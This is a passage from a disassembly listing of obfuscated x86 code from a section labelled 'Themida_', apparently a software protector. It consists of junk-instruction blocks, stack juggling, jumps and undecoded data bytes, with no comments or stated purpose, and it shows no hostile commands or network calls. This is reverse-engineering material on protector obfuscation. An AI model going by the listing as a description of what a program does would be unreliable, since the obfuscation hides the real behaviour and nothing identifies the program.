1C8704C3h, 0F7565C24h, 9CE92414h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AD2F: ; CODE XREF: Themida_:00524FF8j pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, 1 and eax, ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp push 294Eh mov [esp], edi jmp loc_518836 ; --------------------------------------------------------------------------- db 0E9h, 0B6h, 49h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AD56: ; CODE XREF: Themida_:005121C2j xor ch, 0BCh dec ch xor ch, 47h sub ch, 0ADh push eax jmp loc_51B643 ; --------------------------------------------------------------------------- loc_51AD67: ; CODE XREF: Themida_:00513AACj mov eax, 1CB13C6Eh mov ebp, 30E54EA7h sub ebp, eax pop eax jmp loc_5170C1 ; --------------------------------------------------------------------------- loc_51AD79: ; CODE XREF: Themida_:0051C4D4j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_51489B ; --------------------------------------------------------------------------- loc_51AD8E: ; CODE XREF: Themida_:00517A53j push dword ptr [esp] pop edx add esp, 4 or edx, eax shl edx, 1 jmp loc_5211E1 ; --------------------------------------------------------------------------- dw 0BA52h dd 20035F98h, 0E1E9D789h, 0BE00005Dh, 28B833DCh, 15EF289h dd 0F311E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51ADBA: ; CODE XREF: Themida_:00515BF3j xor ebx, 9345A21Fh jmp loc_51E672 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4E98300h, 5C240C87h, 24048F54h, 7987E9h, 24148700h dd 2C7815Ch, 33000000h, 3EE9243Ch, 29000094h, 24348BF0h dd 0E9E28952h, 0FFFFA261h ; --------------------------------------------------------------------------- loc_51ADFC: ; CODE XREF: Themida_:00522713j pop esp mov [esp], ebp jmp loc_51BAD6 ; --------------------------------------------------------------------------- db 1, 0F5h, 0E9h dd 615Ah, 0F5E9E9D1h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AE13: ; CODE XREF: Themida_:0051E084j and ebp, 6C9963FDh shl ebp, 8 shl ebp, 6 shr ebp, 8 jmp loc_5171B0 ; --------------------------------------------------------------------------- loc_51AE27: ; CODE XREF: Themida_:0051D95Fj mov bh, dl jmp loc_5194B5 ; --------------------------------------------------------------------------- dw 558h dd 4, 5004C083h, 42474FFh, 5FDDE958h, 0E9C30000h, 0FFFF48C4h dd 4BA52h, 78E90000h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AE53: ; CODE XREF: Themida_:00519502j and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_521BB3 ; --------------------------------------------------------------------------- dd 7204D828h, 83241C8Bh, 0EF6804C4h, 89000057h, 3EB5240Ch dd 0CDFEDDF6h, 8350D5F6h, 148904ECh, 2CB35324h, 0DA0001B2h dd 3C6DE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51AE8E: ; CODE XREF: Themida_:0051AED3j or dh, al pop eax shr dh, 7 sub dh, 0E3h sub dh, 0BCh jmp loc_517D02 ; --------------------------------------------------------------------------- db 81h dd 456E4FC9h, 74F18144h, 892B4A0Fh, 0C58159CDh, 1579B87Fh dd 0FF702DE9h, 243C89FFh, 4BFh, 10C28100h, 157E218h, 3C5EE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51AECE: ; CODE XREF: Themida_:00524F1Ej mov dh, 0A5h push eax mov al, 74h jmp loc_51AE8E ; --------------------------------------------------------------------------- dd 5A2434FFh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 87DC781h dd 3AE9CD97h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51AEF7: ; CODE XREF: Themida_:005138F2j push ebp jmp loc_51EB25 ; --------------------------------------------------------------------------- db 0D1h, 0E0h, 0E9h dd 0FFFFB5E4h, 0C0C5B551h, 0F58008EDh, 0E04AE919h, 1C87FFFFh dd 24248B24h, 4B30F66h, 0E9E99C24h, 34FFFF47h, 58C328BBh dd 28A4C380h, 0A4EB80D3h, 80B3B252h, 0D300CDC3h, 0E9CDEB80h dd 0FFFF651Bh, 2F3AF181h, 0E181700Bh, 9282610h, 5629E181h dd 0C1811707h, 3B895DE5h, 247AC981h, 0F1812F6Fh, 1648546Ch dd 0FFA596E9h, 685152FFh, 7967h, 8BC1E9h db 0 ; --------------------------------------------------------------------------- loc_51AF75: ; CODE XREF: Themida_:005134A3j pop esp or edx, eax shl edx, 1 push ebx mov ebx, 24h push ebx mov ebx, esp add ebx, 4 jmp loc_513B32 ; --------------------------------------------------------------------------- loc_51AF8E: ; CODE XREF: Themida_:0051F398j add ebp, 4 jmp loc_521AA5 ; --------------------------------------------------------------------------- dw 835Eh dd 0E95104C4h, 654Ch, 5F2434FFh, 0FFDE45E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AFA9: ; CODE XREF: Themida_:005107D5j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 mov [esp], ebp push eax push ebx push 121Ch mov [esp], eax push esi push 10BE00BDh pop esi add esi, 0FFFFFFFFh xor esi, 5A666072h push esi add dword ptr [esp], 50C25450h pop eax sub eax, 50C25450h pop esi jmp loc_51EB1F ; --------------------------------------------------------------------------- dd 0BE56D701h, 7BFC57E0h, 4605EEC1h, 7B1BBF57h, 0CDE92E1Eh dd 81FFFF72h, 9A5A06EFh, 81CF0147h, 9A5A06C7h, 2B37E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B01A: ; CODE XREF: Themida_:0051510Bj mov [edi+24h], eax pop eax push dword ptr [esp] pop ebx push 2A1Ch mov [esp], edx jmp loc_512FA8 ; --------------------------------------------------------------------------- db 58h dd 82E9D0F7h, 81FFFFBFh, 42404h, 0C8B0000h, 4C48324h, 4BF57h dd 0F9010000h, 0B5E9505Fh, 500002Dh, 7AA45852h, 34EB68h dd 242C8900h, 0FFF240E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B065: ; CODE XREF: Themida_:00514FBCj pop ebp and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push ecx jmp loc_523555 ; --------------------------------------------------------------------------- loc_51B081: ; CODE XREF: Themida_:0051A8C5j pop eax jmp loc_512F6F ; --------------------------------------------------------------------------- align 4 dd 68E958E2h, 5AFFFFE3h, 4B5EE9h, 2E7C100h, 8C2BE9h db 0 ; --------------------------------------------------------------------------- loc_51B09D: ; CODE XREF: Themida_:00517D07j add esp, 4 add bh, 8Ah sub al, bh mov ebx, [esp] add esp, 4 push dx mov dl, 1Ah add al, dl pop dx mov ecx, [esp] jmp loc_5154C2 ; --------------------------------------------------------------------------- dw 0FEBFh dd 81051377h, 825015EFh, 0FFFB31F9h, 835F2434h, 0C38304C4h dd 19CB8101h, 0E90CB120h, 0FFFF46E6h, 0E9FA315Dh, 0FFFF96D3h dd 544B685Fh, 4890000h, 2B824h, 0C7E90000h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B0FB: ; CODE XREF: Themida_:005165CEj xor esi, [esp] xor [esp], esi sub esp, 4 jmp loc_516014 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 58h dd 0B3FFFFDBh, 1CEB80B1h, 28E0C380h, 0E0EB80CBh, 838CE9h dd 44C28100h, 0E943A417h, 0FFFFA7C5h ; --------------------------------------------------------------------------- loc_51B12C: ; CODE XREF: Themida_:0051F4E0j add edi, 54ED5D9Bh or edi, 6B610CCEh or edi, 6C5D163Eh push eax mov eax, 0CCDC104Ch sub edi, eax pop eax sub ebp, edi pop edi add ebp, 43B8FDF4h jmp loc_511347 ; --------------------------------------------------------------------------- db 80h, 0EFh, 28h dd 0D4E9FE88h, 89FFFF6Ah, 68532404h, 0AF75714h, 0B2F3815Bh dd 897DBF01h, 0A5055BD8h, 5172EC46h, 54008EB9h, 0E5F18177h dd 813AD971h, 8F0724E1h, 0EFF1812Dh, 8111BB74h, 431450C9h dd 0A3C18146h, 0E9299A5Fh, 0FFFF5B8Bh, 4C681h, 0C6810000h dd 4, 5C243487h, 0FF9B84E9h, 0F7815FFFh, 628E2570h, 4073C781h dd 58E97698h, 5D000006h, 0DFF7D7F7h, 4E24B850h, 2D0D3341h dd 25701706h, 2BE8308Bh, 0FFF11DE9h db 0FFh ; --------------------------------------------------------------------------- loc_51B1E1: ; CODE XREF: Themida_:00519984j push esp pop eax push esi mov esi, 4 add eax, esi pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, 7F421F40h jmp loc_516D84 ; --------------------------------------------------------------------------- aZsu db 'Zéž',0Bh,0 align 4 dd 0C2BFE95Ch, 0FD88FFFFh, 0FF94DEE9h, 53E958FFh, 55000090h dd 4BDh, 8BE80100h, 8950242Ch, 8029E9E0h, 0E9550000h, 0FFFFC8D7h ; --------------------------------------------------------------------------- loc_51B234: ; CODE XREF: Themida_:0051E225j mov [esp], ecx mov ecx, 5C1B7E4Eh jmp loc_513CEF ; --------------------------------------------------------------------------- db 81h, 0EDh, 96h dd 1763717h, 0B3B850D5h, 0C1602959h, 575607E8h, 0FFFFFFBFh dd 5FFE89FFh, 0FFE9DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_51B261: ; CODE XREF: Themida_:00522D4Aj pop esp push 58BBh mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_513B55 ; --------------------------------------------------------------------------- loc_51B276: ; CODE XREF: Themida_:00512D93j mov ecx, ebx jmp loc_510B75 ; --------------------------------------------------------------------------- loc_51B27D: ; CODE XREF: Themida_:00521C9Fj push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5205CF ; --------------------------------------------------------------------------- dw 815Dh dd 244D93F1h, 0CED9E97Dh, 166FFFFh, 0F2D66F0h, 665E662Fh dd 60E9F029h, 0C1FFFF8Fh, 0E98105E9h, 0A1C407Eh, 7E10C181h dd 0CD01073Dh, 83240C8Bh, 0ED8104C4h, 4, 31242C33h, 2C33242Ch dd 24248B24h, 0B2241489h, 8BD300E5h, 0DEE92414h db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51B2EF: ; CODE XREF: Themida_:00524E46j mov dx, [esp] jmp loc_511881 ; --------------------------------------------------------------------------- loc_51B2F8: ; CODE XREF: Themida_:0051902Cj mov edx, esi jmp loc_520B92 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 4C87h, 2581E9h, 24048B00h, 4C481h, 8F0000h dd 2E750081h, 31E93AC7h, 8900003Ch, 2519E9E3h, 0DBF60000h dd 4A54E9h db 0 ; --------------------------------------------------------------------------- loc_51B331: ; CODE XREF: Themida_:00512D1Dj xchg ecx, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 push ebp push 4AFB36EBh pop ebp jmp loc_517F96 ; --------------------------------------------------------------------------- db 59h dd 0FF5A61E9h, 4C381FFh, 0E9000000h, 0FFFFA261h ; --------------------------------------------------------------------------- loc_51B35C: ; CODE XREF: Themida_:0051EA87j mov ebx, 3033444Dh sub ebx, 1 shl ebx, 7 add ebx, 1 xor ebx, 6A206D48h dec ebx push 103Eh mov [esp], ebp jmp loc_510390 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 87D2E9h, 4077FF00h, 0FF437BE9h, 4C483FFh, 81242C8Bh dd 4C4h, 436AE900h, 0C681FFFFh, 799E5D83h, 0FFE52DE9h dd 4C381FFh, 83000000h, 1C8704C3h, 29C2E924h, 815D0000h dd 47F9242Ch, 4816441h, 0E14B9624h, 2404296Eh, 96242C81h dd 816EE14Bh, 4ECh, 0DDC3E900h, 5B66FFFFh, 0B353D800h dd 7BF38020h, 0FFA03FE9h, 51C330FFh, 0E904EC83h, 0FFFF66E7h ; --------------------------------------------------------------------------- loc_51B3FC: ; CODE XREF: Themida_:00516F2Dj sub dword ptr [esp], 3B016BD0h pop eax add eax, 3B016BD0h pop ebp add eax, 12E84B29h sub eax, 70D40611h add eax, edi jmp loc_521C4D ; --------------------------------------------------------------------------- db 89h dd 14BA2414h, 576D6B43h, 4118ECBFh, 8BFA2945h, 0C483243Ch dd 3A87E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B436: ; CODE XREF: Themida_:0051F539j pop ecx add ebx, edx add ebx, 65E0B34h mov edx, [esp] add esp, 4 sub ebx, 5C1B7E4Eh sub ebx, 2F755B53h jmp loc_5198A2 ; --------------------------------------------------------------------------- loc_51B456: ; CODE XREF: Themida_:0051DD45j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add eax, 320954ADh push 5123h mov [esp], ecx mov ecx, 2EA85D8Bh jmp loc_5198BB ; --------------------------------------------------------------------------- db 1 dd 31EB81F3h, 5E53925Ah, 4EC8156h, 89000000h, 0C4BA2414h dd 817B0E0Eh, 724ECEC2h, 5AD689E7h, 4E04E6C1h, 0F681D6F7h dd 9FDD064Fh, 525EF331h, 6FD8E9h, 148B5400h, 5F545724h dd 4C781h, 0C7830000h, 4F27E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B4C2: ; CODE XREF: Themida_:00511E2Bj push bp jmp loc_51A7FB ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 0FF8087E9h, 242C8AFFh, 92D3E9h, 67D8BA00h, 0EC830F8Fh dd 240C8904h, 0CE11AFB9h, 0F8E98144h, 2932A0BAh, 0D32959CBh dd 0FF5778E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B4F9: ; CODE XREF: Themida_:00516C6Fj add ebp, 4 xchg ebp, [esp] pop esp and eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebp push 5F28h push esp pop dword ptr [esp] push eax mov eax, 476A723Bh dec eax and eax, 2F447324h sub eax, 3A865255h sub eax, 0CCBA1FC7h jmp loc_51EB9F ; --------------------------------------------------------------------------- db 1 dd 685358C2h, 2, 0EF6E9h db 0 ; --------------------------------------------------------------------------- loc_51B541: ; CODE XREF: Themida_:00514B9Fj pop ecx jmp loc_514840 ; --------------------------------------------------------------------------- db 0BEh dd 4, 815EF201h, 4EAh, 24143300h, 33241431h, 248B2414h dd 24248924h, 4BA52h, 54010000h, 8B5A0424h, 0C483242Ch dd 98E5E904h, 665A0000h, 68240C8Bh, 5B26h, 54240C89h, 0E92434FFh dd 0FFFF5AC4h ; --------------------------------------------------------------------------- loc_51B590: ; CODE XREF: Themida_:005182A3j pop esp push eax sub esp, 4 mov [esp], ebx mov ebx, 46E84BD8h mov eax, 0FD5AED47h jmp loc_5177CC ; --------------------------------------------------------------------------- loc_51B5AA: ; CODE XREF: Themida_:0051C39Aj push edi mov edi, esp jmp loc_51597D ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 56ECE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B5BE: ; CODE XREF: Themida_:00514CF3j add edi, edx add edi, 34C53EF5h pop edx mov ebx, 25594D2Ch add ebx, edi pop edi inc ebx push edx mov edx, 0D6B3E4B6h add ebx, edx pop edx jmp loc_515DA3 ; --------------------------------------------------------------------------- dw 0C89h dd 38E4B924h, 0CF89334Dh, 592434FFh, 4C481h, 27E90000h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_51B5F7: ; CODE XREF: Themida_:0051E7ECj push 27Ah mov [esp], esi jmp loc_52144F ; --------------------------------------------------------------------------- dd 8105EBC1h, 4ECh, 24148900h, 42DADEBAh, 5AD329D9h, 88E9DE89h dd 8900003Fh, 0F7E9243Ch, 0B600008Dh, 5AF00066h, 0B050535Ah dd 7703E9E4h, 483FFFFh, 34FF0424h, 0E9E95F24h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51B643: ; CODE XREF: Themida_:0051AD62j mov ah, 0BAh jmp loc_511454 ; --------------------------------------------------------------------------- loc_51B64A: ; CODE XREF: Themida_:005170DBj sub eax, ecx jmp loc_51DB13 ; --------------------------------------------------------------------------- db 21h, 0CEh, 8Bh dd 0C481240Ch, 4, 0FF520CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51B661: ; CODE XREF: Themida_:0051304Ej and ebp, 4AC66D6Bh neg ebp jmp loc_51EB8E ; --------------------------------------------------------------------------- dw 0CDBEh dd 15F5D16h, 7EAFE9DEh, 0BA52FFFFh, 62B84224h, 4CB4F281h dd 0C14223BFh, 0F28102E2h, 0C9C733D7h, 295AD329h, 48E95BDEh dd 81FFFF9Ah, 0F9526FC7h, 0FB215B2Ch, 907AE9h db 0 ; --------------------------------------------------------------------------- loc_51B6A9: ; CODE XREF: Themida_:00522CB5j mov eax, 4 sub edi, 5B375B16h jmp loc_516727 ; --------------------------------------------------------------------------- db 1, 0CBh, 59h dd 13F2E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51B6C2: ; CODE XREF: Themida_:0051FB58j sub [esp+8], eax pop eax mov edi, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx push ebx mov ebx, esp jmp loc_514876 ; --------------------------------------------------------------------------- loc_51B6E3: ; CODE XREF: Themida_:00510130j add ecx, 51015B40h push eax push ebx mov ebx, 39E2608Ch jmp loc_5238ED ; --------------------------------------------------------------------------- loc_51B6F5: ; CODE XREF: Themida_:00511943j shl eax, 3 not eax xor eax, 0EDD3FFFBh add ebx, eax jmp loc_5127B2 ; --------------------------------------------------------------------------- dw 1489h dd 0F301E924h, 0F000FFFFh, 4EC81h, 0C890000h, 0E90EB524h dd 9529h ; --------------------------------------------------------------------------- loc_51B720: ; CODE XREF: Themida_:00513FD0j pop esi jmp loc_51F759 ; --------------------------------------------------------------------------- loc_51B726: ; CODE XREF: Themida_:0050FBD3j mov esp, [esp] pop edx push 14D3h mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5159EE ; --------------------------------------------------------------------------- db 5Ch dd 0FFDEB4E9h, 0E6685EFFh, 0E9000036h, 30AAh, 8FF7E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B75E: ; CODE XREF: Themida_:0051B9DCj mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 28A61383h xor edx, ebp xor ebp, edx xor edx, ebp neg ebp push edx push ebp pop edx pop ebp jmp loc_518D0E ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 5934h, 68242C89h, 4419h, 4EC81h, 24890000h dd 4685324h, 5B000000h, 4245C01h, 24048F5Bh, 7EE95057h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B7BF: ; CODE XREF: Themida_:0051204Ej push eax jmp loc_5204C1 ; --------------------------------------------------------------------------- loc_51B7C5: ; CODE XREF: Themida_:0051E0AEj xchg eax, edi not eax xchg eax, edi jmp loc_515143 ; --------------------------------------------------------------------------- loc_51B7CE: ; CODE XREF: Themida_:0051344Cj add esi, 56353126h jmp loc_51CEA7 ; --------------------------------------------------------------------------- loc_51B7D9: ; CODE XREF: Themida_:00523F4Cj add eax, 59324F98h jmp loc_516E0C ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 26E5h, 89241489h, 19EA68E2h, 34890000h, 0E346E924h dd 10B6FFFFh, 0F615B252h, 0FBCA80DAh, 0FFE374E9h, 11EE81FFh dd 81019C67h, 297F8CEEh, 59E9503Dh, 50FFFFA5h, 0C005E2B8h dd 8C1E050Ah, 0FFE99D32h, 89FFFFCFh, 36B1240Ch, 0E909F180h dd 0FFFF4C57h ; --------------------------------------------------------------------------- loc_51B83C: ; CODE XREF: Themida_:0051AAA6j dec edx jmp loc_511EED ; --------------------------------------------------------------------------- loc_51B842: ; CODE XREF: Themida_:0051DBF0j mov edi, [esp] add esp, 4 push 7805h mov [esp], ebx sub esp, 4 jmp loc_51F5F6 ; --------------------------------------------------------------------------- db 5Ch dd 9C2404FEh, 0FF3EA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B865: ; CODE XREF: Themida_:00512147j push dword ptr [esp] jmp loc_51E2E5 ; --------------------------------------------------------------------------- loc_51B86D: ; CODE XREF: Themida_:0051977Aj sub esi, ebx jmp loc_5215CA ; --------------------------------------------------------------------------- dd 0B5E912B7h, 8100000Eh, 4C4h, 4EA8300h, 5C241487h, 51241489h dd 8A3093B9h, 59CA8979h, 0CF6FC281h, 0C6818675h, 66976E53h dd 3084E9h db 0 ; --------------------------------------------------------------------------- loc_51B8A5: ; CODE XREF: Themida_:005152C6j mov [esp], esp jmp loc_514BD3 ; --------------------------------------------------------------------------- loc_51B8AD: ; CODE XREF: Themida_:00515C30j push eax push esp pop eax jmp loc_516CFA ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 669FE9h, 2FE9BD00h, 0E5C16542h, 0B6B85003h, 3579EF24h dd 0AC01A40Ah, 158C501h, 89525DEEh, 6805E9E2h, 0E380FFFFh dd 1EB8038h, 5166DBF6h, 0CB3011B1h, 8D53E9h, 51E58900h dd 0FF986CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51B8F9: ; CODE XREF: Themida_:005163ADj add ebx, edi jmp loc_51E949 ; --------------------------------------------------------------------------- loc_51B900: ; CODE XREF: Themida_:0051E411j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_52196D ; --------------------------------------------------------------------------- dw 0BB53h dd 7C130CB0h, 0E943DBF7h, 0FFFFB376h ; --------------------------------------------------------------------------- loc_51B920: ; CODE XREF: Themida_:005111BBj sub ecx, 1C68586Fh push edi mov edi, ecx mov edx, edi pop edi jmp loc_51DEFD ; --------------------------------------------------------------------------- loc_51B931: ; CODE XREF: Themida_:0051D785j pop esp jmp loc_5152A9 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 0FF50B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_51B945: ; CODE XREF: Themida_:00520879j not eax xchg eax, esi sub esi, 0D65E4E4Dh mov ecx, esi pop esi add ebp, ecx push dword ptr [esp] pop ecx sub esp, 4 jmp loc_522EDA ; --------------------------------------------------------------------------- loc_51B95F: ; CODE XREF: Themida_:0051002Dj sub eax, edx push ebp jmp loc_51BB45 ; --------------------------------------------------------------------------- db 48h dd 0FFCF85E9h, 24148BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 39D2113Fh shr eax, 4 jmp loc_51A3BE ; --------------------------------------------------------------------------- db 87h dd 2BE92434h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51B98F: ; CODE XREF: Themida_:0051622Cj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and dword ptr [edi+20h], 1140712h dec dword ptr [edi+20h] sub dword ptr [edi+20h], 16A034ACh not dword ptr [edi+20h] push ebx push edi mov edi, 3B824EFFh mov ebx, 3B824F1Fh sub ebx, 3F4672ECh sub ebx, edi jmp loc_51E7C0 ; --------------------------------------------------------------------------- loc_51B9CB: ; CODE XREF: Themida_:00520AB0j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_51B75E ; --------------------------------------------------------------------------- db 81h, 0C2h, 92h dd 17B2E51h, 92EA81C2h, 8B7B2E51h, 0C4812404h, 4, 4B850h dd 0C2010000h, 24143358h, 33241431h, 248B2414h, 4EC8324h dd 81242C89h, 4ECh, 24248900h, 4B951h, 6C810000h, 32040424h dd 4C0156D4h, 44810424h, 32040424h, 5D5956D4h, 4C581h dd 0BE560000h, 3A15232Bh, 30C68146h, 0E949E446h, 0FFFFB5A5h dd 0FF24248Bh, 29E92434h, 0FFFFFFC6h, 0E9582434h, 7011h dd 4ED81h, 2C870000h, 24248B24h, 68240C89h, 3276h, 81240489h dd 4ECh, 240C8900h, 0FDBE5650h, 0B8779F37h, 0C94DB558h dd 0B95EF029h, 0E918B11Ah, 1C55E9h, 24148900h, 4EC81h dd 4890000h, 380B6824h, 48B156Fh, 4C48124h, 0D000000h dd 3381590Bh, 0EF79072Dh, 0B7E95037h, 0B8FFFF76h, 984650DDh dd 8958C529h, 0F60AE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BAD6: ; CODE XREF: Themida_:0051AE00j sub esp, 4 push esp jmp loc_512987 ; --------------------------------------------------------------------------- loc_51BAE2: ; CODE XREF: Themida_:00514CCFj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_50F70C ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 4C5815Ch, 83000000h, 3C8904ECh, 0B46BF24h, 0CDE9407Ch db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51BB0B: ; CODE XREF: Themida_:0051E627j sub bl, 0D9h add bl, 0F7h jmp loc_511E55 ; --------------------------------------------------------------------------- loc_51BB16: ; CODE XREF: Themida_:00523ACBj add edx, 0F31949BCh sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push 1C49h jmp loc_5107DA ; --------------------------------------------------------------------------- dd 3EDEC781h, 0DF01289Bh, 5F9DE9h db 0 ; --------------------------------------------------------------------------- loc_51BB45: ; CODE XREF: Themida_:0051B962j mov ebp, 643B0303h xor ebp, 16344A5Ah sub eax, ebp pop ebp pop edx jmp loc_524C7C ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 dd 8B243C87h, 11E92424h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51BB67: ; CODE XREF: Themida_:005140E0j and eax, ebp push dword ptr [esp] pop ebp push 2B7Dh mov [esp], esi mov esi, esp add esi, 4 push ecx push ebx mov ebx, 6ED0287h mov ecx, ebx pop ebx sub ecx, 6ED0283h add esi, ecx pop ecx xchg esi, [esp] pop esp shr eax, 0Eh xor eax, ecx push 663h mov [esp], ebp jmp loc_51FDA4 ; --------------------------------------------------------------------------- dw 8F5Ah dd 0E95C2404h, 0FFFF3B5Ch, 0CB30E956h, 0D224FFFFh, 0D0F6C8FEh dd 5A34012Ch, 6658C588h, 98B35352h, 88D98851h, 240C8BCEh dd 0FF49ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_51BBD5: ; CODE XREF: Themida_:0051582Aj mov ebx, 45DA073Ch jmp loc_516AE4 ; --------------------------------------------------------------------------- db 29h dd 506859CBh, 89000010h, 0EBD242Ch, 0E954547Eh, 0FFFFE7B1h dd 8107E2C1h, 405A3AF2h, 76EA8177h, 31C404EFh, 240C8BCAh dd 4EC81h, 3C890000h, 5F66E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BC16: ; CODE XREF: Themida_:0052424Bj xchg ebp, [esp] pop esp jmp loc_5109B8 ; --------------------------------------------------------------------------- db 0BBh dd 38h, 1099E9h db 0 ; --------------------------------------------------------------------------- loc_51BC29: ; CODE XREF: Themida_:00515DB8j add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_50FC8F ; --------------------------------------------------------------------------- dw 0E95Eh dd 5F1h, 51ECC781h, 0EF013A8Ch, 51ECEF81h, 0AAE93A8Ch dd 53FFFFD5h, 0B850E389h, 757058AEh, 0F748D8F7h, 20D935D0h dd 0E9402C83h, 0FFFF5C87h ; --------------------------------------------------------------------------- loc_51BC70: ; CODE XREF: Themida_:00523CC3j add esp, 4 and eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push esi mov esi, esp push edi mov edi, 4 jmp loc_51E50D ; --------------------------------------------------------------------------- loc_51BC9A: ; CODE XREF: Themida_:0051350Dj sub eax, esi pop esi xchg eax, [esp] mov esp, [esp] mov [esp], eax mov eax, 60AE60BBh sub eax, 489F3DFEh sub eax, 131EA692h not eax add eax, 776DC07Fh push edx sub esp, 4 mov [esp], esi mov esi, 7CF56894h mov edx, 3E3F6D25h xor edx, esi pop esi add eax, edx pop edx push ebx mov ebx, 4C46D08h jmp loc_51BE72 ; --------------------------------------------------------------------------- loc_51BCDE: ; CODE XREF: Themida_:0051437Fj mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], esi jmp loc_519166 ; --------------------------------------------------------------------------- loc_51BCF1: ; CODE XREF: Themida_:0051E7C6j add ebx, eax jmp loc_51CA34 ; --------------------------------------------------------------------------- dd 0E98734FFh, 5D67h, 52C1685Ch, 4890000h, 40478F24h, 582434FFh dd 712168h, 24348900h, 0FF9761E9h, 240C89FFh, 0BCE3E953h dd 5450FFFFh, 8124048Bh, 4C4h, 40500h, 4050000h, 87000000h dd 0E95C2404h, 0FFFF9F4Ch, 6C80E959h, 0A2680000h, 0E9000008h dd 83C9h ; --------------------------------------------------------------------------- loc_51BD54: ; CODE XREF: Themida_:00512604j dec ecx dec ecx sub ecx, 378A4727h mov ebp, ecx mov ecx, [esp] add esp, 4 and ecx, ebp push dword ptr [esp] push dword ptr [esp] jmp loc_51A161 ; --------------------------------------------------------------------------- loc_51BD71: ; CODE XREF: Themida_:00517CCDj add ecx, ebx push ebx push eax mov eax, 295311DDh jmp loc_522C18 ; --------------------------------------------------------------------------- loc_51BD7F: ; CODE XREF: Themida_:0051C8BBj pop ecx push eax push dword ptr [esp+4] mov eax, [esp] push ecx jmp loc_52212E ; --------------------------------------------------------------------------- loc_51BD8E: ; CODE XREF: Themida_:0051DC66j add esp, 4 mov ebx, [esp] push ebp jmp loc_50FBBF ; --------------------------------------------------------------------------- aSB db ']é¼',0 align 10h loc_51BDA0: ; CODE XREF: Themida_:0050FC4Cj push edi jmp loc_51085E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF395BE9h, 4E7C1FFh, 39CEE951h, 0C6830000h, 24348704h dd 82C9E9h db 0 ; --------------------------------------------------------------------------- loc_51BDC5: ; CODE XREF: Themida_:00520CEBj push eax push 